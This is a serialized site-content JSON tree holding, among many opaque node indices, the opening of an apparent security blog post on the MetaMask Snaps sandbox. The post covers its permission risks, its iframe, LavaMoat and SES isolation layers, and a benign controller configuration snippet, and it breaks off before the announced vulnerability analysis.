1,"value":3218},{"type":25,"tag":201,"props":35747,"children":35748},{"style":261},[35749],{"type":31,"value":1383},{"type":25,"tag":201,"props":35751,"children":35752},{"style":267},[35753],{"type":31,"value":3227},{"type":25,"tag":201,"props":35755,"children":35756},{"style":1295},[35757],{"type":31,"value":1308},{"type":25,"tag":201,"props":35759,"children":35760},{"class":203,"line":330},[35761,35765,35769,35773,35777,35781,35785],{"type":25,"tag":201,"props":35762,"children":35763},{"style":1295},[35764],{"type":31,"value":1316},{"type":25,"tag":201,"props":35766,"children":35767},{"style":208},[35768],{"type":31,"value":3243},{"type":25,"tag":201,"props":35770,"children":35771},{"style":1295},[35772],{"type":31,"value":1342},{"type":25,"tag":201,"props":35774,"children":35775},{"style":220},[35776],{"type":31,"value":60},{"type":25,"tag":201,"props":35778,"children":35779},{"style":1295},[35780],{"type":31,"value":1352},{"type":25,"tag":201,"props":35782,"children":35783},{"style":208},[35784],{"type":31,"value":3243},{"type":25,"tag":201,"props":35786,"children":35787},{"style":1295},[35788],{"type":31,"value":1308},{"type":25,"tag":201,"props":35790,"children":35791},{"class":203,"line":397},[35792,35796,35800,35804,35808,35812],{"type":25,"tag":201,"props":35793,"children":35794},{"style":1295},[35795],{"type":31,"value":1316},{"type":25,"tag":201,"props":35797,"children":35798},{"style":208},[35799],{"type":31,"value":1337},{"type":25,"tag":201,"props":35801,"children":35802},{"style":246},[35803],{"type":31,"value":1466},{"type":25,"tag":201,"props":35805,"children":35806},{"style":261},[35807],{"type":31,"value":1383},{"type":25,"tag":201,"props":35809,"children":35810},{"style":267},[35811],{"type":31,"value":3287},{"type":25,"tag":201,"props":35813,"children":35814},{"style":1295},[35815],{"type":31,"value":1308},{"type":25,"tag":201,"props":35817,"children":35818},{"class":203,"line":437},[35819],{"type":25,"tag":201,"props":35820,"children":35821},{"style":220},[35822],{"type":31,"value":3578},{"type":25,"tag":201,"props":35824,"children":35825},{"class":203,"line":464},[35826],{"type":25,"tag":201,"props":35827,"children":35828},{"style":220},[35829],{"type":31,"value":3586},{"type":25,"tag":201,"props":35831,"children":35832},{"class":203,"line":490},[35833],{"type":25,"tag":201,"props":35834,"children":35835},{"emptyLinePlaceholder":17},[35836],{"type":31,"value":496},{"type":25,"tag":201,"props":35838,"children":35839},{"class":203,"line":499},[35840,35844],{"type":25,"tag":201,"props":35841,"children":35842},{"style":220},[35843],{"type":31,"value":3601},{"type":25,"tag":201,"props":35845,"children":35846},{"style":208},[35847],{"type":31,"value":1822},{"type":25,"tag":201,"props":35849,"children":35850},{"class":203,"line":522},[35851,35855,35859,35863,35867,35871,35875,35879,35883,35887,35891,35895,35899,35903,35907,35911],{"type":25,"tag":201,"props":35852,"children":35853},{"style":246},[35854],{"type":31,"value":3613},{"type":25,"tag":201,"props":35856,"children":35857},{"style":261},[35858],{"type":31,"value":80},{"type":25,"tag":201,"props":35860,"children":35861},{"style":246},[35862],{"type":31,"value":3622},{"type":25,"tag":201,"props":35864,"children":35865},{"style":261},[35866],{"type":31,"value":1840},{"type":25,"tag":201,"props":35868,"children":35869},{"style":267},[35870],{"type":31,"value":3631},{"type":25,"tag":201,"props":35872,"children":35873},{"style":261},[35874],{"type":31,"value":3636},{"type":25,"tag":201,"props":35876,"children":35877},{"style":246},[35878],{"type":31,"value":3641},{"type":25,"tag":201,"props":35880,"children":35881},{"style":261},[35882],{"type":31,"value":3636},{"type":25,"tag":201,"props":35884,"children":35885},{"style":267},[35886],{"type":31,"value":3650},{"type":25,"tag":201,"props":35888,"children":35889},{"style":261},[35890],{"type":31,"value":3636},{"type":25,"tag":201,"props":35892,"children":35893},{"style":246},[35894],{"type":31,"value":3659},{"type":25,"tag":201,"props":35896,"children":35897},{"style":261},[35898],{"type":31,"value":3636},{"type":25,"tag":201,"props":35900,"children":35901},{"style":267},[35902],{"type":31,"value":3668},{"type":25,"tag":201,"props":35904,"children":35905},{"style":261},[35906],{"type":31,"value":3636},{"type":25,"tag":201,"props":35908,"children":35909},{"style":246},[35910],{"type":31,"value":3677},{"type":25,"tag":201,"props":35912,"children":35913},{"style":261},[35914],{"type":31,"value":461},{"type":25,"tag":201,"props":35916,"children":35917},{"class":203,"line":531},[35918],{"type":25,"tag":201,"props":35919,"children":35920},{"style":208},[35921],{"type":31,"value":3689},{"type":25,"tag":201,"props":35923,"children":35924},{"class":203,"line":550},[35925,35929,35933],{"type":25,"tag":201,"props":35926,"children":35927},{"style":1295},[35928],{"type":31,"value":3307},{"type":25,"tag":201,"props":35930,"children":35931},{"style":208},[35932],{"type":31,"value":1337},{"type":25,"tag":201,"props":35934,"children":35935},{"style":1295},[35936],{"type":31,"value":1308},{"type":25,"tag":201,"props":35938,"children":35939},{"class":203,"line":563},[35940,35944,35948],{"type":25,"tag":201,"props":35941,"children":35942},{"style":1295},[35943],{"type":31,"value":3323},{"type":25,"tag":201,"props":35945,"children":35946},{"style":208},[35947],{"type":31,"value":3213},{"type":25,"tag":201,"props":35949,"children":35950},{"style":1295},[35951],{"type":31,"value":1308},{"type":25,"tag":34,"props":35953,"children":35954},{},[35955],{"type":31,"value":3724},{"type":25,"tag":26,"props":35957,"children":35958},{"id":3727},[35959],{"type":31,"value":3730},{"type":25,"tag":34,"props":35961,"children":35962},{},[35963],{"type":25,"tag":65,"props":35964,"children":35965},{},[35966,35967,35972],{"type":31,"value":3738},{"type":25,"tag":71,"props":35968,"children":35970},{"href":3741,"rel":35969},[75],[35971],{"type":31,"value":3745},{"type":31,"value":80},{"type":25,"tag":40,"props":35974,"children":35975},{"id":3749},[35976],{"type":31,"value":3752},{"type":25,"tag":34,"props":35978,"children":35979},{},[35980],{"type":31,"value":3757},{"type":25,"tag":34,"props":35982,"children":35983},{},[35984],{"type":31,"value":3762},{"type":25,"tag":34,"props":35986,"children":35987},{},[35988,35992],{"type":25,"tag":65,"props":35989,"children":35990},{},[35991],{"type":31,"value":3770},{"type":31,"value":3772},{"type":25,"tag":34,"props":35994,"children":35995},{},[35996],{"type":31,"value":3777},{"type":25,"tag":34,"props":35998,"children":35999},{},[36000],{"type":31,"value":3782},{"type":25,"tag":175,"props":36002,"children":36003},{"style":177},[36004],{"type":25,"tag":127,"props":36005,"children":36006},{"src":3788,"alt":3789,"style":3790},[],{"type":25,"tag":34,"props":36008,"children":36009},{},[36010],{"type":31,"value":3796},{"type":25,"tag":40,"props":36012,"children":36013},{"id":3799},[36014],{"type":31,"value":3802},{"type":25,"tag":34,"props":36016,"children":36017},{},[36018],{"type":25,"tag":65,"props":36019,"children":36020},{},[36021,36022,36027],{"type":31,"value":3810},{"type":25,"tag":71,"props":36023,"children":36025},{"href":3813,"rel":36024},[75],[36026],{"type":31,"value":3817},{"type":31,"value":80},{"type":25,"tag":34,"props":36029,"children":36030},{},[36031,36032,36037],{"type":31,"value":3823},{"type":25,"tag":71,"props":36033,"children":36035},{"href":3826,"rel":36034},[75],[36036],{"type":31,"value":111},{"type":31,"value":3831},{"type":25,"tag":34,"props":36039,"children":36040},{},[36041],{"type":31,"value":3836},{"type":25,"tag":34,"props":36043,"children":36044},{},[36045],{"type":31,"value":3841},{"type":25,"tag":34,"props":36047,"children":36048},{},[36049,36050,36055,36056,36061],{"type":31,"value":3846},{"type":25,"tag":115,"props":36051,"children":36053},{"className":36052},[],[36054],{"type":31,"value":3852},{"type":31,"value":3854},{"type":25,"tag":115,"props":36057,"children":36059},{"className":36058},[],[36060],{"type":31,"value":3860},{"type":31,"value":3862},{"type":25,"tag":34,"props":36063,"children":36064},{},[36065],{"type":25,"tag":127,"props":36066,"children":36067},{"alt":7,"src":3868},[],{"type":25,"tag":34,"props":36069,"children":36070},{},[36071],{"type":31,"value":3874},{"type":25,"tag":34,"props":36073,"children":36074},{},[36075],{"type":25,"tag":127,"props":36076,"children":36077},{"alt":7,"src":3880},[],{"type":25,"tag":26,"props":36079,"children":36080},{"id":3884},[36081],{"type":25,"tag":1252,"props":36082,"children":36083},{},[36084],{"type":31,"value":3890},{"type":25,"tag":34,"props":36086,"children":36087},{},[36088],{"type":31,"value":3895},{"type":25,"tag":34,"props":36090,"children":36091},{},[36092,36093,36098,36099,36104],{"type":31,"value":3900},{"type":25,"tag":115,"props":36094,"children":36096},{"className":36095},[],[36097],{"type":31,"value":3906},{"type":31,"value":3908},{"type":25,"tag":115,"props":36100,"children":36102},{"className":36101},[],[36103],{"type":31,"value":3914},{"type":31,"value":3916},{"type":25,"tag":191,"props":36106,"children":36107},{"className":193,"code":3919,"language":195,"meta":7,"style":7},[36108],{"type":25,"tag":115,"props":36109,"children":36110},{"__ignoreMap":7},[36111],{"type":25,"tag":201,"props":36112,"children":36113},{"class":203,"line":204},[36114,36118,36122,36126,36130,36134,36138,36142,36146,36150],{"type":25,"tag":201,"props":36115,"children":36116},{"style":246},[36117],{"type":31,"value":1635},{"type":25,"tag":201,"props":36119,"children":36120},{"style":220},[36121],{"type":31,"value":80},{"type":25,"tag":201,"props":36123,"children":36124},{"style":214},[36125],{"type":31,"value":3939},{"type":25,"tag":201,"props":36127,"children":36128},{"style":220},[36129],{"type":31,"value":298},{"type":25,"tag":201,"props":36131,"children":36132},{"style":267},[36133],{"type":31,"value":3948},{"type":25,"tag":201,"props":36135,"children":36136},{"style":220},[36137],{"type":31,"value":3953},{"type":25,"tag":201,"props":36139,"children":36140},{"style":246},[36141],{"type":31,"value":3906},{"type":25,"tag":201,"props":36143,"children":36144},{"style":261},[36145],{"type":31,"value":413},{"type":25,"tag":201,"props":36147,"children":36148},{"style":246},[36149],{"type":31,"value":3966},{"type":25,"tag":201,"props":36151,"children":36152},{"style":220},[36153],{"type":31,"value":461},{"type":25,"tag":34,"props":36155,"children":36156},{},[36157],{"type":31,"value":3975},{"type":25,"tag":191,"props":36159,"children":36160},{"className":193,"code":3978,"language":195,"meta":7,"style":7},[36161],{"type":25,"tag":115,"props":36162,"children":36163},{"__ignoreMap":7},[36164],{"type":25,"tag":201,"props":36165,"children":36166},{"class":203,"line":204},[36167,36171,36175,36179,36183,36187,36191,36195,36199],{"type":25,"tag":201,"props":36168,"children":36169},{"style":208},[36170],{"type":31,"value":3990},{"type":25,"tag":201,"props":36172,"children":36173},{"style":246},[36174],{"type":31,"value":3995},{"type":25,"tag":201,"props":36176,"children":36177},{"style":261},[36178],{"type":31,"value":413},{"type":25,"tag":201,"props":36180,"children":36181},{"style":246},[36182],{"type":31,"value":4004},{"type":25,"tag":201,"props":36184,"children":36185},{"style":220},[36186],{"type":31,"value":80},{"type":25,"tag":201,"props":36188,"children":36189},{"style":214},[36190],{"type":31,"value":4013},{"type":25,"tag":201,"props":36192,"children":36193},{"style":220},[36194],{"type":31,"value":298},{"type":25,"tag":201,"props":36196,"children":36197},{"style":246},[36198],{"type":31,"value":4022},{"type":25,"tag":201,"props":36200,"children":36201},{"style":220},[36202],{"type":31,"value":308},{"type":25,"tag":34,"props":36204,"children":36205},{},[36206,36207,36212],{"type":31,"value":4031},{"type":25,"tag":71,"props":36208,"children":36210},{"href":4034,"rel":36209},[75],[36211],{"type":31,"value":4038},{"type":31,"value":4040},{"type":25,"tag":34,"props":36214,"children":36215},{},[36216],{"type":31,"value":4045},{"type":25,"tag":34,"props":36218,"children":36219},{},[36220,36221,36226],{"type":31,"value":4050},{"type":25,"tag":71,"props":36222,"children":36224},{"href":4053,"rel":36223},[75],[36225],{"type":31,"value":4057},{"type":31,"value":4059},{"type":25,"tag":191,"props":36228,"children":36229},{"className":193,"code":4062,"language":195,"meta":7,"style":7},[36230],{"type":25,"tag":115,"props":36231,"children":36232},{"__ignoreMap":7},[36233,36260,36299,36326],{"type":25,"tag":201,"props":36234,"children":36235},{"class":203,"line":204},[36236,36240,36244,36248,36252,36256],{"type":25,"tag":201,"props":36237,"children":36238},{"style":208},[36239],{"type":31,"value":4074},{"type":25,"tag":201,"props":36241,"children":36242},{"style":246},[36243],{"type":31,"value":4079},{"type":25,"tag":201,"props":36245,"children":36246},{"style":261},[36247],{"type":31,"value":413},{"type":25,"tag":201,"props":36249,"children":36250},{"style":220},[36251],{"type":31,"value":4088},{"type":25,"tag":201,"props":36253,"children":36254},{"style":267},[36255],{"type":31,"value":4093},{"type":25,"tag":201,"props":36257,"children":36258},{"style":220},[36259],{"type":31,"value":434},{"type":25,"tag":201,"props":36261,"children":36262},{"class":203,"line":226},[36263,36267,36271,36275,36279,36283,36287,36291,36295],{"type":25,"tag":201,"props":36264,"children":36265},{"style":230},[36266],{"type":31,"value":4105},{"type":25,"tag":201,"props":36268,"children":36269},{"style":220},[36270],{"type":31,"value":238},{"type":25,"tag":201,"props":36272,"children":36273},{"style":261},[36274],{"type":31,"value":4114},{"type":25,"tag":201,"props":36276,"children":36277},{"style":246},[36278],{"type":31,"value":4119},{"type":25,"tag":201,"props":36280,"children":36281},{"style":220},[36282],{"type":31,"value":80},{"type":25,"tag":201,"props":36284,"children":36285},{"style":214},[36286],{"type":31,"value":4128},{"type":25,"tag":201,"props":36288,"children":36289},{"style":220},[36290],{"type":31,"value":298},{"type":25,"tag":201,"props":36292,"children":36293},{"style":246},[36294],{"type":31,"value":1645},{"type":25,"tag":201,"props":36296,"children":36297},{"style":220},[36298],{"type":31,"value":4141},{"type":25,"tag":201,"props":36300,"children":36301},{"class":203,"line":278},[36302,36306,36310,36314,36318,36322],{"type":25,"tag":201,"props":36303,"children":36304},{"style":230},[36305],{"type":31,"value":4149},{"type":25,"tag":201,"props":36307,"children":36308},{"style":208},[36309],{"type":31,"value":828},{"type":25,"tag":201,"props":36311,"children":36312},{"style":214},[36313],{"type":31,"value":4158},{"type":25,"tag":201,"props":36315,"children":36316},{"style":220},[36317],{"type":31,"value":298},{"type":25,"tag":201,"props":36319,"children":36320},{"style":267},[36321],{"type":31,"value":4167},{"type":25,"tag":201,"props":36323,"children":36324},{"style":220},[36325],{"type":31,"value":308},{"type":25,"tag":201,"props":36327,"children":36328},{"class":203,"line":311},[36329],{"type":25,"tag":201,"props":36330,"children":36331},{"style":220},[36332],{"type":31,"value":1187},{"type":25,"tag":34,"props":36334,"children":36335},{},[36336,36337,36342,36343,36348],{"type":31,"value":4183},{"type":25,"tag":71,"props":36338,"children":36340},{"href":4186,"rel":36339},[75],[36341],{"type":31,"value":4190},{"type":31,"value":4192},{"type":25,"tag":71,"props":36344,"children":36346},{"href":4195,"rel":36345},[75],[36347],{"type":31,"value":4199},{"type":31,"value":4201},{"type":25,"tag":191,"props":36350,"children":36351},{"className":193,"code":4204,"language":195,"meta":7,"style":7},[36352],{"type":25,"tag":115,"props":36353,"children":36354},{"__ignoreMap":7},[36355,36382,36393,36404,36419],{"type":25,"tag":201,"props":36356,"children":36357},{"class":203,"line":204},[36358,36362,36366,36370,36374,36378],{"type":25,"tag":201,"props":36359,"children":36360},{"style":208},[36361],{"type":31,"value":4074},{"type":25,"tag":201,"props":36363,"children":36364},{"style":246},[36365],{"type":31,"value":4220},{"type":25,"tag":201,"props":36367,"children":36368},{"style":261},[36369],{"type":31,"value":413},{"type":25,"tag":201,"props":36371,"children":36372},{"style":208},[36373],{"type":31,"value":828},{"type":25,"tag":201,"props":36375,"children":36376},{"style":214},[36377],{"type":31,"value":4233},{"type":25,"tag":201,"props":36379,"children":36380},{"style":220},[36381],{"type":31,"value":4238},{"type":25,"tag":201,"props":36383,"children":36384},{"class":203,"line":226},[36385,36389],{"type":25,"tag":201,"props":36386,"children":36387},{"style":246},[36388],{"type":31,"value":4246},{"type":25,"tag":201,"props":36390,"children":36391},{"style":220},[36392],{"type":31,"value":547},{"type":25,"tag":201,"props":36394,"children":36395},{"class":203,"line":278},[36396,36400],{"type":25,"tag":201,"props":36397,"children":36398},{"style":246},[36399],{"type":31,"value":4258},{"type":25,"tag":201,"props":36401,"children":36402},{"style":220},[36403],{"type":31,"value":547},{"type":25,"tag":201,"props":36405,"children":36406},{"class":203,"line":311},[36407,36411,36415],{"type":25,"tag":201,"props":36408,"children":36409},{"style":246},[36410],{"type":31,"value":4270},{"type":25,"tag":201,"props":36412,"children":36413},{"style":208},[36414],{"type":31,"value":542},{"type":25,"tag":201,"props":36416,"children":36417},{"style":220},[36418],{"type":31,"value":547},{"type":25,"tag":201,"props":36420,"children":36421},{"class":203,"line":330},[36422],{"type":25,"tag":201,"props":36423,"children":36424},{"style":220},[36425],{"type":31,"value":4286},{"type":25,"tag":34,"props":36427,"children":36428},{},[36429,36430,36435,36436,36441],{"type":31,"value":4291},{"type":25,"tag":71,"props":36431,"children":36433},{"href":4294,"rel":36432},[75],[36434],{"type":31,"value":4298},{"type":31,"value":4300},{"type":25,"tag":71,"props":36437,"children":36439},{"href":4303,"rel":36438},[75],[36440],{"type":31,"value":4307},{"type":31,"value":4309},{"type":25,"tag":34,"props":36443,"children":36444},{},[36445],{"type":31,"value":4314},{"type":25,"tag":34,"props":36447,"children":36448},{},[36449],{"type":31,"value":4319},{"type":25,"tag":4321,"props":36451,"children":36452},{"id":4323},[36453],{"type":31,"value":4326},{"type":25,"tag":34,"props":36455,"children":36456},{},[36457],{"type":31,"value":4331},{"type":25,"tag":34,"props":36459,"children":36460},{},[36461],{"type":31,"value":4336},{"type":25,"tag":26,"props":36463,"children":36464},{"id":4339},[36465],{"type":31,"value":4342},{"type":25,"tag":34,"props":36467,"children":36468},{},[36469],{"type":31,"value":4347},{"type":25,"tag":4349,"props":36471,"children":36472},{},[36473],{"type":31,"value":4353},{"title":7,"searchDepth":226,"depth":226,"links":36475},[36476,36479,36485,36489,36490],{"id":28,"depth":226,"text":32,"children":36477},[36478],{"id":42,"depth":278,"text":45},{"id":20,"depth":226,"text":60,"children":36480},[36481,36482,36483,36484],{"id":83,"depth":278,"text":86},{"id":150,"depth":278,"text":153},{"id":3090,"depth":278,"text":3093},{"id":3381,"depth":278,"text":3384},{"id":3727,"depth":226,"text":3730,"children":36486},[36487,36488],{"id":3749,"depth":278,"text":3752},{"id":3799,"depth":278,"text":3802},{"id":3884,"depth":226,"text":3890},{"id":4339,"depth":226,"text":4342},{"_path":36492,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":36493,"description":36494,"author":36495,"image":36496,"date":36498,"isFeatured":17,"onBlogPage":17,"body":36499,"_type":4371,"_id":41515,"_source":4373,"_file":41516,"_stem":41517,"_extension":4376},"/blog/2023-11-01-metamask-snaps","Metamask Snaps: Playing in the Sand","A deep dig into Metamask Snaps. We explore safety considerations, environment design, and break down a property spoofing vulnerability in the Snaps sandboxing layer.",[12,11],{"src":36497,"height":15125,"width":15},"/posts/metamask-snaps/header.png","2023-11-01",{"type":22,"children":36500,"toc":41496},[36501,36505,36510,36515,36520,36526,36531,36537,36550,36555,36560,36567,36599,36605,36610,36628,36635,36641,36655,36661,36681,36945,36973,36979,36998,37384,37403,37416,37734,37755,38026,38031,38037,38042,38055,38060,38073,38332,38376,38389,38395,38409,38415,38421,38434,38471,38477,38497,38608,38635,38641,38659,38672,38678,38683,38701,38812,38817,38838,38851,38868,38968,38994,39011,39133,39159,39171,39176,39182,39188,39193,39216,39221,39226,39232,39238,39265,39668,39695,39722,39728,39759,40068,40087,40092,40117,40130,40136,40163,40458,40494,40512,40517,40552,40557,40561,40566,40573,40578,40605,41382,41402,41408,41429,41478,41482,41487,41492],{"type":25,"tag":26,"props":36502,"children":36503},{"id":20455},[36504],{"type":31,"value":20458},{"type":25,"tag":34,"props":36506,"children":36507},{},[36508],{"type":31,"value":36509},"Metamask snaps are simple modules that extend Metamask's functionality. These modules can be written by anyone, and provide useful features that the vanilla wallet doesn't.",{"type":25,"tag":34,"props":36511,"children":36512},{},[36513],{"type":31,"value":36514},"Metamask provides a sandboxed environment that allows developers to run Snap code safely, without disclosing or tampering with critical information without user permission.",{"type":25,"tag":34,"props":36516,"children":36517},{},[36518],{"type":31,"value":36519},"In this article, we'll explore exactly how the snap execution environment works. We'll then delve into a unique property spoofing vulnerability we reported in the Metamask Snaps sandbox.",{"type":25,"tag":26,"props":36521,"children":36523},{"id":36522},"sandbox-security",[36524],{"type":31,"value":36525},"Sandbox Security",{"type":25,"tag":34,"props":36527,"children":36528},{},[36529],{"type":31,"value":36530},"In the first part of the article, we'll describe how the Metamask sandbox works, and examine what it's doing to protect the security of Snaps.",{"type":25,"tag":40,"props":36532,"children":36534},{"id":36533},"permission-based-security",[36535],{"type":31,"value":36536},"Permission-based security",{"type":25,"tag":34,"props":36538,"children":36539},{},[36540,36542,36548],{"type":31,"value":36541},"Each snap is built to have only the permissions it needs to hold. These permissions are specified in the ",{"type":25,"tag":115,"props":36543,"children":36545},{"className":36544},[],[36546],{"type":31,"value":36547},"snap.manifest.json",{"type":31,"value":36549}," file and can be critical to security.",{"type":25,"tag":34,"props":36551,"children":36552},{},[36553],{"type":31,"value":36554},"Snap security is totally centered around the user, whose decisions can provide dangerous permissions to a malicious snap. Metamask warns about the risk of each permission.",{"type":25,"tag":34,"props":36556,"children":36557},{},[36558],{"type":31,"value":36559},"Here are the critical permissions possible to be given to a snap:",{"type":25,"tag":34,"props":36561,"children":36562},{},[36563],{"type":25,"tag":127,"props":36564,"children":36566},{"alt":7,"src":36565},"/posts/metamask-snaps/permissions.png",[],{"type":25,"tag":18183,"props":36568,"children":36569},{},[36570,36588],{"type":25,"tag":6948,"props":36571,"children":36572},{},[36573,36579,36580,36586],{"type":25,"tag":115,"props":36574,"children":36576},{"className":36575},[],[36577],{"type":31,"value":36578},"snap_getBip44Entropy",{"type":31,"value":12493},{"type":25,"tag":115,"props":36581,"children":36583},{"className":36582},[],[36584],{"type":31,"value":36585},"snap_getBip32Entropy",{"type":31,"value":36587}," -> a malicious snap retrieving keypair leads to loss of funds",{"type":25,"tag":6948,"props":36589,"children":36590},{},[36591,36597],{"type":25,"tag":115,"props":36592,"children":36594},{"className":36593},[],[36595],{"type":31,"value":36596},"endowment:transaction-insight",{"type":31,"value":36598}," -> a malicious snap getting insights of a transaction before approval can lead to frontrunning attacks",{"type":25,"tag":40,"props":36600,"children":36602},{"id":36601},"snap-execution-environment",[36603],{"type":31,"value":36604},"Snap execution environment",{"type":25,"tag":34,"props":36606,"children":36607},{},[36608],{"type":31,"value":36609},"Snaps are executed in a totally sandboxed environment which provides a safe context for executing untrusted code, and separates it from the normal execution flow. To accomplish this, Metamask uses 3 layers of security to create this safe environment:",{"type":25,"tag":6944,"props":36611,"children":36612},{},[36613,36618,36623],{"type":25,"tag":6948,"props":36614,"children":36615},{},[36616],{"type":31,"value":36617},"An isolated iframe",{"type":25,"tag":6948,"props":36619,"children":36620},{},[36621],{"type":31,"value":36622},"LavaMoat",{"type":25,"tag":6948,"props":36624,"children":36625},{},[36626],{"type":31,"value":36627},"SES (Secure EcmaScript)",{"type":25,"tag":34,"props":36629,"children":36630},{},[36631],{"type":25,"tag":127,"props":36632,"children":36634},{"alt":7,"src":36633},"/posts/metamask-snaps/environment.png",[],{"type":25,"tag":40,"props":36636,"children":36638},{"id":36637},"isolated-iframe-layer-1",[36639],{"type":31,"value":36640},"Isolated Iframe - Layer 1",{"type":25,"tag":34,"props":36642,"children":36643},{},[36644,36646,36653],{"type":31,"value":36645},"Snaps empower developers to enhance Metamask's functionality while maintaining a strong security posture. These modules execute within an ",{"type":25,"tag":71,"props":36647,"children":36650},{"href":36648,"rel":36649},"https://blog.logrocket.com/the-ultimate-guide-to-iframes/",[75],[36651],{"type":31,"value":36652},"Iframe",{"type":31,"value":36654}," environment, ensuring they are isolated and secure. To facilitate this execution, Metamask takes advantage of an iFrame sandboxing mechanism, allowing snaps to operate in a contained context.",{"type":25,"tag":20392,"props":36656,"children":36658},{"id":36657},"the-framework-metamask-extension-repo",[36659],{"type":31,"value":36660},"The Framework: Metamask-Extension Repo",{"type":25,"tag":34,"props":36662,"children":36663},{},[36664,36666,36672,36674,36680],{"type":31,"value":36665},"The process of snap execution kicks off within the metamask-extension repository's ",{"type":25,"tag":115,"props":36667,"children":36669},{"className":36668},[],[36670],{"type":31,"value":36671},"metamask-controller.js",{"type":31,"value":36673}," file. Here's a glimpse of the relevant ",{"type":25,"tag":71,"props":36675,"children":36678},{"href":36676,"rel":36677},"https://github.com/MetaMask/metamask-extension/blob/4b23ea8c95bea9ea12336537bb6bda4568a99098/app/scripts/metamask-controller.js#L978",[75],[36679],{"type":31,"value":115},{"type":31,"value":5997},{"type":25,"tag":191,"props":36682,"children":36686},{"className":36683,"code":36684,"language":36685,"meta":7,"style":7},"language-javascript shiki shiki-themes slack-dark","// Import snaps-controllers\n// ...\nconst snapExecutionServiceArgs = {\n  iframeUrl: new URL(process.env.IFRAME_EXECUTION_ENVIRONMENT_URL),\n  messenger: this.controllerMessenger.getRestricted({\n    name: 'ExecutionService',\n  }),\n  setupSnapProvider: this.setupSnapProvider.bind(this),\n};\n\n// Define IFRAME_EXECUTION_ENVIRONMENT_URL\nprocess.env.IFRAME_EXECUTION_ENVIRONMENT_URL =\n  'https://execution.metamask.io/0.36.1-flask.1/index.html';\n// ...\n","javascript",[36687],{"type":25,"tag":115,"props":36688,"children":36689},{"__ignoreMap":7},[36690,36698,36706,36726,36774,36809,36826,36834,36876,36883,36890,36898,36926,36938],{"type":25,"tag":201,"props":36691,"children":36692},{"class":203,"line":204},[36693],{"type":25,"tag":201,"props":36694,"children":36695},{"style":4497},[36696],{"type":31,"value":36697},"// Import snaps-controllers\n",{"type":25,"tag":201,"props":36699,"children":36700},{"class":203,"line":226},[36701],{"type":25,"tag":201,"props":36702,"children":36703},{"style":4497},[36704],{"type":31,"value":36705},"// ...\n",{"type":25,"tag":201,"props":36707,"children":36708},{"class":203,"line":278},[36709,36713,36718,36722],{"type":25,"tag":201,"props":36710,"children":36711},{"style":208},[36712],{"type":31,"value":4074},{"type":25,"tag":201,"props":36714,"children":36715},{"style":246},[36716],{"type":31,"value":36717}," snapExecutionServiceArgs",{"type":25,"tag":201,"props":36719,"children":36720},{"style":261},[36721],{"type":31,"value":413},{"type":25,"tag":201,"props":36723,"children":36724},{"style":220},[36725],{"type":31,"value":327},{"type":25,"tag":201,"props":36727,"children":36728},{"class":203,"line":311},[36729,36734,36738,36743,36747,36752,36756,36761,36765,36770],{"type":25,"tag":201,"props":36730,"children":36731},{"style":246},[36732],{"type":31,"value":36733},"  iframeUrl:",{"type":25,"tag":201,"props":36735,"children":36736},{"style":208},[36737],{"type":31,"value":828},{"type":25,"tag":201,"props":36739,"children":36740},{"style":214},[36741],{"type":31,"value":36742}," URL",{"type":25,"tag":201,"props":36744,"children":36745},{"style":220},[36746],{"type":31,"value":298},{"type":25,"tag":201,"props":36748,"children":36749},{"style":246},[36750],{"type":31,"value":36751},"process",{"type":25,"tag":201,"props":36753,"children":36754},{"style":220},[36755],{"type":31,"value":80},{"type":25,"tag":201,"props":36757,"children":36758},{"style":246},[36759],{"type":31,"value":36760},"env",{"type":25,"tag":201,"props":36762,"children":36763},{"style":220},[36764],{"type":31,"value":80},{"type":25,"tag":201,"props":36766,"children":36767},{"style":246},[36768],{"type":31,"value":36769},"IFRAME_EXECUTION_ENVIRONMENT_URL",{"type":25,"tag":201,"props":36771,"children":36772},{"style":220},[36773],{"type":31,"value":8245},{"type":25,"tag":201,"props":36775,"children":36776},{"class":203,"line":330},[36777,36782,36787,36791,36796,36800,36805],{"type":25,"tag":201,"props":36778,"children":36779},{"style":246},[36780],{"type":31,"value":36781},"  messenger:",{"type":25,"tag":201,"props":36783,"children":36784},{"style":208},[36785],{"type":31,"value":36786}," this",{"type":25,"tag":201,"props":36788,"children":36789},{"style":220},[36790],{"type":31,"value":80},{"type":25,"tag":201,"props":36792,"children":36793},{"style":246},[36794],{"type":31,"value":36795},"controllerMessenger",{"type":25,"tag":201,"props":36797,"children":36798},{"style":220},[36799],{"type":31,"value":80},{"type":25,"tag":201,"props":36801,"children":36802},{"style":214},[36803],{"type":31,"value":36804},"getRestricted",{"type":25,"tag":201,"props":36806,"children":36807},{"style":220},[36808],{"type":31,"value":4238},{"type":25,"tag":201,"props":36810,"children":36811},{"class":203,"line":397},[36812,36817,36822],{"type":25,"tag":201,"props":36813,"children":36814},{"style":246},[36815],{"type":31,"value":36816},"    name:",{"type":25,"tag":201,"props":36818,"children":36819},{"style":267},[36820],{"type":31,"value":36821}," 'ExecutionService'",{"type":25,"tag":201,"props":36823,"children":36824},{"style":220},[36825],{"type":31,"value":547},{"type":25,"tag":201,"props":36827,"children":36828},{"class":203,"line":437},[36829],{"type":25,"tag":201,"props":36830,"children":36831},{"style":220},[36832],{"type":31,"value":36833},"  }),\n",{"type":25,"tag":201,"props":36835,"children":36836},{"class":203,"line":464},[36837,36842,36846,36850,36855,36859,36864,36868,36872],{"type":25,"tag":201,"props":36838,"children":36839},{"style":246},[36840],{"type":31,"value":36841},"  setupSnapProvider:",{"type":25,"tag":201,"props":36843,"children":36844},{"style":208},[36845],{"type":31,"value":36786},{"type":25,"tag":201,"props":36847,"children":36848},{"style":220},[36849],{"type":31,"value":80},{"type":25,"tag":201,"props":36851,"children":36852},{"style":246},[36853],{"type":31,"value":36854},"setupSnapProvider",{"type":25,"tag":201,"props":36856,"children":36857},{"style":220},[36858],{"type":31,"value":80},{"type":25,"tag":201,"props":36860,"children":36861},{"style":214},[36862],{"type":31,"value":36863},"bind",{"type":25,"tag":201,"props":36865,"children":36866},{"style":220},[36867],{"type":31,"value":298},{"type":25,"tag":201,"props":36869,"children":36870},{"style":208},[36871],{"type":31,"value":19190},{"type":25,"tag":201,"props":36873,"children":36874},{"style":220},[36875],{"type":31,"value":8245},{"type":25,"tag":201,"props":36877,"children":36878},{"class":203,"line":490},[36879],{"type":25,"tag":201,"props":36880,"children":36881},{"style":220},[36882],{"type":31,"value":18073},{"type":25,"tag":201,"props":36884,"children":36885},{"class":203,"line":499},[36886],{"type":25,"tag":201,"props":36887,"children":36888},{"emptyLin